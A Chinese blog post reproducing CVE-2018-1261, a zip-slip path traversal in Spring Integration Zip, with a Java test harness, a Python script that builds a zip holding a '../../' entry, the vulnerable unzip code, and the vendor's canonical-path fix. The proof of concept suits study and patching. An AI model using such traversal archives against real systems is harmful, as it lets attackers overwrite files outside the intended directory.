

羊小弟

博客园 首页 新随笔 联系 订阅 🚾 管理

随笔 - 62 文章 - 0 评论 - 3 阅读 - 10万

```
2024年10月
                 >
<
日
  一二三四五六
29
  30
     1
        2 3 4
                5
   7
      8
        9
           10 11
                12
   14 15 16 17 18 19
20 21 22 23 24 25 26
27
  28 29 30 31 1
                2
     5 6 7 8
```

昵称: <u>羊小弟</u>园龄: <u>8年4个月</u>粉丝: 12关注: 1+加关注

搜索

找找看

常用链接

我的随笔 我的评论 我的参与 最新评论 我的标签

我的标签

<u>python(1)</u> ftp(1) 折腾(1)

随笔档案

2020年4月(1) 2019年12月(1) 2019年7月(1) 2019年6月(1) 2019年5月(3) 2019年4月(1) 2018年12月(3) 2018年9月(2) 2018年5月(2) 2018年4月(1) 2018年2月(3) 2018年1月(2) 2017年12月(2) 2017年11月(1) 2017年9月(2) 更多

阅读排行榜

1. javascript 使用btoa和atob来 进行Base64转码和解码(7710) 2. jar包中存在包名和类名都相 同的情况(4682)

```
Spring Integration Zip不安全解压 (CVE-2018-1261) 漏洞复现
```

不敢说分析,还是太菜了,多学习。

文章来源: 猎户安全实验室

存在漏洞的源码下载地址: https://github.com/spring-projects/spring-integration-extensions/releases/tag/zip.v1.0.0.RELEASE

代码下载两眼相望了好久,第一次弄这些东西,踩了好久的坑,边踩边学习。

用的是IDEA来复现: 终端打开到zip的文件夹, 然后./gradlew idea。直接就能直接用IDEA打开了。

漏洞地址: org/springframework/integration/zip/transformer/UnZipTransformerTests.java

这里的都是官方例子。

仿造官方例子写个测试类。

```
@Test
 1
 2
         public void unzipCve() throws IOException, InterruptedException {
             final Resource resource = this.resourceLoader.getResource("classpath:testzipdata/test1.zi
             final InputStream upZipFile = resource.getInputStream();
 5
 6
            UnZipTransformer unZipTransformer = new UnZipTransformer();
             unZipTransformer.setWorkDirectory(new File("/Users/yangxiaodi/java/CVE-2018-1261/spring-i
 8
             unZipTransformer.setZipResultType(ZipResultType.FILE);//设置类型(FILE, BYTE_ARRAY)
             unZipTransformer.afterPropertiesSet();
 9
10
11
             Message<InputStream> message = MessageBuilder.withPayload(upZipFile).build();
12
             unZipTransformer.transform(message);//漏洞入口。
13
14
             System.out.println("over");
15
16
17
    }
```

这里的zip解压要用 到../../z.txt格式的压缩文件,用python脚本生成一个。

```
import zipfile
2
         __name__ == "__main__":
3
 4
         try:
5
             binary = b'ddddsss'
             zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
6
             info = zipfile.ZipInfo("test1.zip")
 8
             zipFile.writestr("../../dddwwtest.txt", binary)
             zipFile.close()
10
         except IOError as e:
11
             raise e
```

东西都准备妥当了, 开始分析漏洞吧。

漏洞入口:

- 3. phpcmsV9.5.8 后台拿shell(4 489)
- 4. ftp爆破(python脚本)(4342)
- 5. Discuz利用UC_KEY进行前 台getshell(4340)

评论排行榜

1. java.lang.Runtime.exec() Pa yload Workarounds(2) 2. discuz7.2 faq.php 注入漏洞 分析(1)

推荐排行榜

- 1. wget命令行本地克隆一个网站(2)
- 2. ftp爆破(python脚本)(2)
- 3. Mlecms Getshell(1)
- 4. Discuz利用UC_KEY进行前 台getshell(1)
- 5. discuz7.2 faq.php 注入漏洞 分析(1)

最新评论

1. Re:discuz7.2 faq.php 注入漏洞分析

您好~想问一下,如何得知 在 action等于grouppermission的时 候,gids可作为传入的参数呀

--蠢的刘龙

2. Re:java.lang.Runtime.exec()
Payload Workarounds

提前预判啊

--SummerDon

3. Re:java.lang.Runtime.exec()
Payload Workarounds

牛批,这个网站现在已经没了

--SummerDon

unZipTransformer.transform(message);

接着调用org/springframework/integration/zip/transformer/AbstractZipTransformer.java 下的doTransform()函数。

```
1 @Override
2 protected Object doTransform(Message<?> message) throws Exception {
3 Assert.notNull(message, "message must not be null");
4 final Object payload = message.getPayload();
5 Assert.notNull(payload, "payload must not be null");
6
7 return doZipTransform(message);//往下调用doZipTransform函数
8 }
```

在调用org/springframework/integration/zip/transformer/UnZipTransformer.java 下的doZipTransform() 函数。漏洞就出现在doZipTransform()函数。具体代码位置:

```
ZipUtil.iterate(inputStream, new ZipEntryCallback() {//漏洞没过滤的地方
 1
2
 3
         @Override
         public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException {
 6
             final String zipEntryName = zipEntry.getName();
             final long zipEntryTime = zipEntry.getTime();
 8
             final long zipEntryCompressedSize = zipEntry.getCompressedSize();
 9
             final String type = zipEntry.isDirectory() ? "directory" : "file";
10
11
             if (logger.isInfoEnabled()) {
12
                 logger.info(String.format("Unpacking Zip Entry - Name: '%s',Time: '%s', " +
                         "Compressed Size: '%s', Type: '%s'",
13
14
                         zipEntryName, zipEntryTime, zipEntryCompressedSize, type));
15
             }
16
             if (ZipResultType.FILE.equals(zipResultType)) {
17
                 final File tempDir = new File(workDirectory, message.getHeaders().getId().toString())
18
19
                 tempDir.mkdirs(); //NOSONAR false positive,创建文件夹
                 final File destinationFile = new File(tempDir, zipEntryName);
20
21
                 if (zipEntry.isDirectory()) {
22
                     destinationFile.mkdirs(); //NOSONAR false positive
23
24
                 }
25
                 else {
                     SpringZipUtils.copy(zipEntryInputStream, destinationFile);
26
                     uncompressedData.put(zipEntryName, destinationFile);
27
28
                 }
29
             }
30
             else if (ZipResultType.BYTE_ARRAY.equals(zipResultType)) {
                 if (!zipEntry.isDirectory()) {
31
                     byte[] data = IOUtils.toByteArray(zipEntryInputStream);
32
                     uncompressedData.put(zipEntryName, data);
33
34
                 }
             }
35
36
             else {
                 throw new IllegalStateException("Unsupported zipResultType " + zipResultType);
37
38
39
         }
```

调用ZipUtil.iterate()函数,然后利用回调函数ZipEntryCallback()去处理解压出来的内容。

这里的final String zipEntryName = zipEntry.getName(); //就是解压出来的文件内容,

在final File destinationFile = new File(tempDir, zipEntryName); //这里没任何过滤就进行文件路径和文件名的拼接。

然后下面两句代码把文件给复制过去。

```
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
```

这里有个坑,就是../../../z.txt 的文件,不能存在未创建的文件夹路径,例如: ../../zzz/z.txt ,在zzz文件夹不存在的情况下,会报错。

这里来看下他们官方的漏洞修复,增加了一个路径检测函数。官方地址

```
1
    public File checkPath(final Message<?> message, final String zipEntryName) throws IOException {
 2
        final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
 3
        tempDir.mkdirs(); //NOSONAR false positive
        final File destinationFile = new File(tempDir, zipEntryName);
4
 5
         /* If we see the relative traversal string of ".." we need to make sure
         * that the outputdir + name doesn't leave the outputdir.
 8
 9
         if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) {
            throw new ZipException("The file " + zipEntryName +
10
11
                     " is trying to leave the target output directory of " + workDirectory);
12
        }
13
         return destinationFile;
14 }
```

主要看这句话:

 $if \ (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) \\$

如果destinationFile.getCanonicalPath() 也就是当前的全文件路径,例如: /etc/s/../passwd ,会变成/etc/passwd

全文件路径中 开头不包含workDirectory.getCanonicalPath() 的路径,就报错。 例如:/etc/s/ ,而workDirectory 是定义的路径。

综上就是路径不能往前跳转。

这种路径检测方法还是学到了,本以为会过滤".." 这样的字符串,直接对比两次的路径也是个好方法



刷新页面 返回顶部

登录后才能查看或发表评论, 立即 登录 或者 逛逛 博客园首页

【推荐】100%开源!大型工业跨平台软件C++源码提供,建模,组态!

【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折

【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步



编辑推荐:

- ·你为什么不应该过度关注go语言的逃逸分析
- · 在C#中基于Semantic Kernel的检索增强生成 (RAG) 实践
- 数据库系列: 主从延时优化
- ·一次彻底讲清如何处理mysql 的死锁问题
- · 我被 .NET8 JIT 的一个BUG反复折磨了半年之久



阅读排行:

- · 404的众包平台,也许是园子商业化的未来
- · <u>C#/.NET/.NET Core技术前沿周刊 | 第 10 期 (2024年10.14-10.20)</u>
- · Awesome Tools,程序员常用高效实用工具、软件资源精选,办公效率提升利器!
- · count(*)、count(1)哪个更快?面试必问:通宵整理的十道经典MySQL必问面试题
- ·推荐一款专为Nginx设计的图形化管理工具: Nginx UI!

Copyright © 2024 羊小弟

Powered by .NET 8.0 on Kubernetes Powered by: 博客园